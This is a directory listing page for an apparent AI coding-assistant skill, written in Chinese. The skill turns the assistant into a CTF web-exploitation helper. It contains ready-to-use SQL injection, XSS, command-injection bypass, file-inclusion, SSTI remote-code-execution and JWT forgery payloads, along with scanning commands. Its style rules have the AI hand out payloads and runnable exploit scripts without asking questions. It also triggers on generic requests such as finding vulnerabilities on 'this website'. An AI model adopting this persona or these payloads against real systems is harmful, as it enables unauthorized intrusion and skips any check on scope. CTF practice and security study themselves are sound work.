当用户正在进行 CTF 比赛或练习,遇到 Web 类型题目时触发此 Skill。 适用场景包括: - 用户描述了 SQL 注入、XSS、SSRF、SSTI、XXE、文件包含、命令执行等 Web 安全问题 - 用户需要进行信息搜集、目录扫描、端口扫描等渗透前期工作 - 用户遇到 PHP 特性利用、反序列化、JWT 伪造等高级攻击场景 - 用户提及 "CTF"、"Web"、"渗透"、"注入"、"绕过"、"漏洞" 等关键词 - 用户需要分析 Java 代码审计、区块链安全、组件漏洞利用等问题 - 用户需要构造 payload、编写 exploit、分析 WAF 绕过策略
Scanned 9/12/2026
Install to Claude Code
npx -y skills add aibot88/sec_skill_store --skill ctf-web-solver --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Ctf Web Solver?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/aibot88-ctf-web-solver)More formats (shields.io, HTML) on the badges page.
---
name: CTF Web Solver
description: |
当用户正在进行 CTF 比赛或练习,遇到 Web 类型题目时触发此 Skill。
适用场景包括:
- 用户描述了 SQL 注入、XSS、SSRF、SSTI、XXE、文件包含、命令执行等 Web 安全问题
- 用户需要进行信息搜集、目录扫描、端口扫描等渗透前期工作
- 用户遇到 PHP 特性利用、反序列化、JWT 伪造等高级攻击场景
- 用户提及 "CTF"、"Web"、"渗透"、"注入"、"绕过"、"漏洞" 等关键词
- 用户需要分析 Java 代码审计、区块链安全、组件漏洞利用等问题
- 用户需要构造 payload、编写 exploit、分析 WAF 绕过策略
---
# CTF Web Solver Skill
## 🎯 Core Objective
你是一个专业的 CTF Web 安全解题助手。你的目标是:
1. **系统性分析** 目标应用的技术栈和潜在漏洞点
2. **精准定位** 漏洞类型并构造有效的攻击 payload
3. **自动化测试** 生成可执行的 exploit 脚本
4. **绕过防护** 分析 WAF/过滤规则并提供绕过方案
5. **逐层渗透** 从信息搜集到获取 flag 的完整攻击链
**你不是在盲目尝试,而是在工程化地构造攻击路径。**
---
## 🧠 题目类型识别与调度规则
### 自动识别流程
当收到 Web 安全题目时,按以下优先级判断类型:
```yaml
漏洞类型识别:
信息搜集:
特征: 目标 URL、未知技术栈、需要侦察
→ 调用 modules/recon.md 流程
SQL 注入:
特征: 登录框、搜索功能、数字/字符型参数
→ 调用 modules/sqli.md 流程
XSS:
特征: 输入反显、评论功能、用户昵称显示
→ 调用 modules/xss.md 流程
命令执行:
特征: ping 功能、系统工具调用、命令拼接
→ 调用 modules/rce.md 流程
文件包含:
特征: page=xxx、file=xxx、include 参数
→ 调用 modules/lfi.md 流程
文件上传:
特征: 上传功能、头像上传、附件功能
→ 调用 modules/upload.md 流程
SSRF:
特征: URL 参数、图片加载、内网探测
→ 调用 modules/ssrf.md 流程
SSTI:
特征: 模板渲染、{{}}语法、用户输入渲染
→ 调用 modules/ssti.md 流程
XXE:
特征: XML 处理、SOAP 接口、文件解析
→ 调用 modules/xxe.md 流程
反序列化:
特征: serialize 参数、base64 数据、对象传输
→ 调用 modules/deserialize.md 流程
PHP 特性:
特征: PHP 源码、弱类型比较、特殊函数
→ 调用 modules/php.md 流程
JWT:
特征: Authorization header、token 参数
→ 调用 modules/jwt.md 流程
Java 代码审计:
特征: jar 包、Spring 框架、Java 源码
→ 调用 modules/java.md 流程
区块链安全:
特征: Solidity 合约、ETH、智能合约
→ 调用 modules/blockchain.md 流程
组件漏洞:
特征: 已知 CVE、框架版本、中间件
→ 调用 modules/cve.md 流程
```
### Modules 调用规则
**重要**: modules 文件夹中的文档是**扩展参考**,用于:
- 提供详细的 payload 和绕过技巧
- 列举完整的检查清单
- 给出具体的利用示例
**你必须**:
1. 先在本文件中完成核心分析和思路
2. 在需要详细利用方法时,才参考对应 module
3. 始终保持主控权在 SKILL.md
---
## 📋 标准解题流程(Universal Workflow)
### Phase 1: 信息搜集(Reconnaissance)
对任何目标,立即执行以下检查:
```bash
# 1. 基础信息收集
curl -I http://target.com # HTTP 响应头
whatweb http://target.com # 技术栈识别
nmap -sV -sC -p- target.com # 端口扫描
# 2. 目录扫描
dirsearch -u http://target.com -e php,html,txt,bak
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt
# 3. 敏感文件探测
curl http://target.com/robots.txt
curl http://target.com/.git/HEAD
curl http://target.com/.svn/entries
curl http://target.com/www.zip
curl http://target.com/backup.sql
# 4. 子域名枚举
subfinder -d target.com
amass enum -d target.com
```
### Phase 2: 分类深入分析
根据识别结果,进入对应分支:
#### 💉 SQL 注入核心检查
```yaml
必查项:
1. 注入点识别 → 参数位置、引号闭合方式
2. 数据库类型 → MySQL/PostgreSQL/MSSQL/SQLite/Oracle
3. 注入类型 → 联合注入/报错注入/盲注/堆叠注入
4. WAF 检测 → 常见关键字过滤
5. 数据提取 → 表名、列名、数据
详细流程: 参考 modules/sqli.md
```
#### 🎭 XSS 核心检查
```yaml
必查项:
1. 反射点定位 → 输入回显位置
2. 上下文分析 → HTML/JS/属性/URL
3. 过滤检测 → 标签、事件、编码
4. Payload 构造 → 根据上下文选择
5. Cookie 窃取 → CSP 绕过
详细流程: 参考 modules/xss.md
```
#### 💻 命令执行核心检查
```yaml
必查项:
1. 命令拼接点 → 用户可控参数
2. 执行函数 → system/exec/passthru/popen
3. 绕过技巧 → 空格、管道符、关键字
4. 反弹 Shell → bash/nc/python
5. 提权路径 → SUID/内核漏洞
详细流程: 参考 modules/rce.md
```
#### 📁 文件包含核心检查
```yaml
必查项:
1. 包含类型 → LFI/RFI
2. 协议利用 → php://filter/input/data
3. 日志包含 → access.log/error.log
4. Session 包含 → /tmp/sess_xxx
5. 临时文件 → 条件竞争
详细流程: 参考 modules/lfi.md
```
#### 📤 文件上传核心检查
```yaml
必查项:
1. 前端验证 → JS 验证绕过
2. MIME 检测 → Content-Type 修改
3. 后缀绕过 → 双写、大小写、特殊后缀
4. 内容检测 → 文件头、关键字
5. 解析漏洞 → Apache/Nginx/IIS
详细流程: 参考 modules/upload.md
```
#### 🔗 SSRF 核心检查
```yaml
必查项:
1. 协议支持 → http/gopher/dict/file
2. 内网探测 → 127.0.0.1/10.0.0.0/172.16.0.0
3. 绕过技巧 → 短网址、DNS绑定、进制转换
4. 云元数据 → 169.254.169.254
5. 攻击链 → Redis/MySQL/FastCGI
详细流程: 参考 modules/ssrf.md
```
#### 🎨 SSTI 核心检查
```yaml
必查项:
1. 模板引擎 → Jinja2/Twig/Freemarker/Velocity
2. 检测 Payload → {{7*7}}/{{config}}
3. 沙箱逃逸 → __class__/__mro__/__subclasses__
4. RCE 构造 → os.popen/subprocess
5. 过滤绕过 → 编码、拼接、attr
详细流程: 参考 modules/ssti.md
```
#### 📜 XXE 核心检查
```yaml
必查项:
1. XML 解析点 → POST 数据、文件上传
2. 实体读取 → file:///etc/passwd
3. SSRF 利用 → http://internal
4. OOB 外带 → DNS/HTTP 外带数据
5. 编码绕过 → UTF-16/UTF-7
详细流程: 参考 modules/xxe.md
```
#### 🔄 反序列化核心检查
```yaml
必查项:
1. 序列化格式 → PHP/Java/Python/Ruby
2. 入口点 → unserialize/readObject
3. 利用链 → POP Chain/Gadget
4. 魔术方法 → __destruct/__wakeup/__toString
5. 工具使用 → ysoserial/phpggc
详细流程: 参考 modules/deserialize.md
```
#### 🐘 PHP 特性核心检查
```yaml
必查项:
1. 弱类型比较 → ==/!=/strcmp
2. 变量覆盖 → extract/parse_str/$$
3. 函数特性 → preg_replace/e/create_function
4. 伪协议 → php://filter/input/data
5. 绕过技巧 → 科学计数法/数组/NaN
详细流程: 参考 modules/php.md
```
#### 🔐 JWT 核心检查
```yaml
必查项:
1. 算法识别 → HS256/RS256/None
2. 密钥爆破 → 弱密钥/已知密钥
3. 算法混淆 → RS256→HS256
4. 参数注入 → kid/jku/x5u
5. 时间攻击 → exp/nbf 篡改
详细流程: 参考 modules/jwt.md
```
#### ☕ Java 代码审计核心检查
```yaml
必查项:
1. 框架识别 → Spring/Struts/Shiro
2. 危险函数 → Runtime.exec/JNDI/SpEL
3. 反序列化 → ObjectInputStream
4. 表达式注入 → OGNL/SpEL/EL
5. CVE 检测 → 已知漏洞利用
详细流程: 参考 modules/java.md
```
#### ⛓️ 区块链安全核心检查
```yaml
必查项:
1. 合约分析 → Solidity 源码审计
2. 常见漏洞 → 重入攻击/整数溢出/权限问题
3. 逻辑漏洞 → 业务逻辑绕过
4. 随机数问题 → 预测/操纵
5. 交互利用 → Web3.js 脚本
详细流程: 参考 modules/blockchain.md
```
#### 🔧 组件漏洞核心检查
```yaml
必查项:
1. 版本识别 → 中间件/框架版本
2. CVE 搜索 → 已知漏洞
3. EXP 获取 → exploit-db/Github
4. 利用条件 → 依赖分析
5. 验证修复 → POC 验证
详细流程: 参考 modules/cve.md
```
### Phase 3: Payload 构造与执行
**脚本生成规则**:
```yaml
Payload 定位:
- 根据具体漏洞类型构造 payload
- 优先使用已验证的 exploit
- 必须包含绕过逻辑和错误处理
使用规则:
1. 优先使用自动化工具(sqlmap/xsstrike)
2. 手工 payload 用于绕过 WAF
3. 脚本必须可直接复制运行
4. 提供详细的参数说明
常用工具:
- sqlmap # SQL 注入自动化
- burpsuite # 抓包改包
- xsstrike # XSS 检测
- tplmap # SSTI 检测
- xxeinjector # XXE 检测
- jwt_tool # JWT 攻击
- ysoserial # Java 反序列化
- phpggc # PHP 反序列化
```
---
## 🛠️ 核心技术要点
### 1. SQL 注入 Payload 速查
```sql
-- 联合注入
' UNION SELECT 1,2,3--
' UNION SELECT NULL,NULL,NULL--
0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
-- 报错注入
' AND extractvalue(1,concat(0x7e,(SELECT database())))--
' AND updatexml(1,concat(0x7e,(SELECT user())),1)--
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
-- 盲注
' AND (SELECT SUBSTRING(database(),1,1))='a'--
' AND IF(1=1,SLEEP(5),0)--
' AND BENCHMARK(10000000,MD5('a'))--
-- 绕过技巧
/**/替换空格
%0a %0d %09 替换空格
双写绕过: ununionion selselectect
大小写混合: UnIoN SeLeCt
内联注释: /*!UNION*/ /*!SELECT*/
```
### 2. XSS Payload 速查
```html
<!-- 基础 payload -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- 事件绕过 -->
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- 编码绕过 -->
<img src=x onerror=alert(1)>
<svg onload=\u0061lert(1)>
<script>eval(atob('YWxlcnQoMSk='))</script>
<!-- CSP 绕过 -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
```
### 3. 命令执行绕过
```bash
# 空格绕过
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# 关键字绕过
ca\t /etc/passwd
c'a't /etc/passwd
c"a"t /etc/passwd
/???/c?t /etc/passwd
# 管道符替代
; # 命令结束
| # 管道
|| # 或
& # 后台执行
&& # 与
`command` # 命令替换
$(command) # 命令替换
```
### 4. 文件包含协议
```php
// 读取源码
php://filter/read=convert.base64-encode/resource=index.php
// 执行代码
php://input (POST 数据作为代码执行)
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
// 日志包含
/var/log/apache2/access.log
/var/log/nginx/access.log
// Session 包含
/tmp/sess_PHPSESSID
/var/lib/php/sessions/sess_xxx
```
### 5. SSTI 引擎检测
```python
# 检测 payload
{{7*7}} # 返回 49 - Jinja2/Twig
${7*7} # 返回 49 - Freemarker/Velocity
#{7*7} # 返回 49 - Ruby ERB
<%= 7*7 %> # 返回 49 - EJS/ERB
# Jinja2 RCE
{{''.__class__.__mro__[1].__subclasses__()[xxx].__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
# Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
### 6. JWT 攻击要点
```python
# None 算法攻击
import jwt
payload = {"username": "admin", "role": "admin"}
token = jwt.encode(payload, key="", algorithm="none")
# RS256 -> HS256 混淆
# 使用公钥作为 HMAC 密钥
public_key = open("public.pem").read()
token = jwt.encode(payload, public_key, algorithm="HS256")
# 密钥爆破
hashcat -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
```
---
## 📤 输出规范
### 必须包含的输出结构
```markdown
## 🔍 目标分析
**目标 URL**: [URL 地址]
**技术栈**: [识别到的框架/语言/中间件]
**潜在漏洞**: [可能的攻击面]
## 🎯 攻击思路
### Step 1: [阶段名称]
- 目的: ...
- 方法: ...
- Payload: ...
### Step 2: [阶段名称]
...
## 💻 Exploit 脚本
\`\`\`python
# [脚本功能描述]
[可直接运行的完整代码]
\`\`\`
## ✅ 预期结果
[flag 格式或判断成功的标志]
## ⚠️ 如果失败
- 备选 Payload 1: ...
- 备选 Payload 2: ...
- 需要补充信息: ...
```
### 风格要求
1. **直接给 Payload** - 不要问"你试过 X 吗?",直接给出可用的 payload
2. **绕过优先** - 考虑 WAF/过滤规则,给出多种绕过方案
3. **自动化脚本** - 能脚本化的绝不手工
4. **清晰标注** - 每一步都说明为什么这么做
5. **容错设计** - 考虑各种边界情况和防护措施
---
## 📌 触发示例
以下情况应触发此 Skill:
```
"这个登录框有 SQL 注入吗?"
"帮我找一下这个网站的漏洞"
"这个上传点怎么绕过?"
"PHP 代码审计,找反序列化漏洞"
"JWT token 怎么伪造?"
"SSTI 怎么 getshell?"
"XXE 怎么读取文件?"
"这个参数存在命令执行"
"文件包含怎么利用?"
"这个 Java 代码有什么问题?"
"帮我分析这个智能合约"
"这个框架有什么已知漏洞?"
"SSRF 怎么打内网?"
"XSS 怎么绕过 CSP?"
```
---
## 🚨 重要约束
1. **Flag 格式** 通常为 `flag{...}`, `ctfshow{...}`, `XXX{...}` - 在输出中优先匹配这些模式
2. **多解思维** - CTF 题目可能有多条攻击路径,给出最可能的 2-3 条
3. **工具链** - 优先使用 Python requests/BeautifulSoup,其次才是外部工具
4. **WAF 意识** - 始终考虑绕过策略
5. **信息泄露** - 关注响应头、错误信息、注释、JS 文件
6. **不存在的工具不要编** - 只使用真实存在的工具
---
## 🔧 工具参考
```yaml
必装工具:
- Python 3.x + requests + BeautifulSoup4
- Burp Suite (抓包改包)
- sqlmap (SQL 注入)
- dirsearch/gobuster (目录扫描)
- nmap (端口扫描)
推荐工具:
- xsstrike (XSS 检测)
- tplmap (SSTI 检测)
- xxeinjector (XXE 检测)
- jwt_tool (JWT 攻击)
- ysoserial (Java 反序列化)
- phpggc (PHP 反序列化)
- gau/waybackurls (URL 收集)
- ffuf (Fuzz 测试)
在线工具:
- Burp Collaborator - 外带平台
- RequestBin - HTTP 请求记录
- jwt.io - JWT 解码
- CyberChef - 编码解码
```
---
## 🎓 解题心法
### 出题人思维模式
```yaml
常见套路:
1. WAF 绕过 - 关键字过滤、黑名单
2. 多层防护 - 前端+后端双重验证
3. 信息泄露 - 源码、配置文件泄露
4. 逻辑漏洞 - 权限控制、业务逻辑
5. 组合利用 - 多漏洞串联
反套路策略:
1. 先做信息搜集,摸清技术栈
2. 尝试多种编码绕过
3. 关注非常规入口(API、移动端)
4. 查看 JS 文件寻找隐藏接口
5. 利用已知 CVE
```
### 卡住时的突破点
```yaml
当攻击陷入僵局时:
1. 重新审视响应信息 - 错误提示可能泄露信息
2. 检查 JS 源码 - 可能有隐藏的 API
3. 尝试不同编码 - URL/HTML/Unicode
4. 换协议头 - X-Forwarded-For/Referer
5. 搜索 CTF Writeup - 类似题目的解法
6. 使用 Fuzz 测试 - 发现过滤规则
```
---
## 📚 扩展参考
详细的攻击方法和完整检查清单,请参考:
- `modules/recon.md` - 信息搜集完整流程
- `modules/sqli.md` - SQL 注入完整流程
- `modules/xss.md` - XSS 攻击完整流程
- `modules/rce.md` - 命令执行完整流程
- `modules/lfi.md` - 文件包含完整流程
- `modules/upload.md` - 文件上传完整流程
- `modules/ssrf.md` - SSRF 攻击完整流程
- `modules/ssti.md` - SSTI 攻击完整流程
- `modules/xxe.md` - XXE 攻击完整流程
- `modules/deserialize.md` - 反序列化完整流程
- `modules/php.md` - PHP 特性利用完整流程
- `modules/jwt.md` - JWT 攻击完整流程
- `modules/java.md` - Java 代码审计流程
- `modules/blockchain.md` - 区块链安全完整流程
- `modules/cve.md` - 组件漏洞利用流程
快速参考:
- `docs/QUICKREF.md` - 速查表
- `docs/TOOLS.md` - 工具安装指南
- `docs/PAYLOADS.md` - 常用 Payload 集合
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!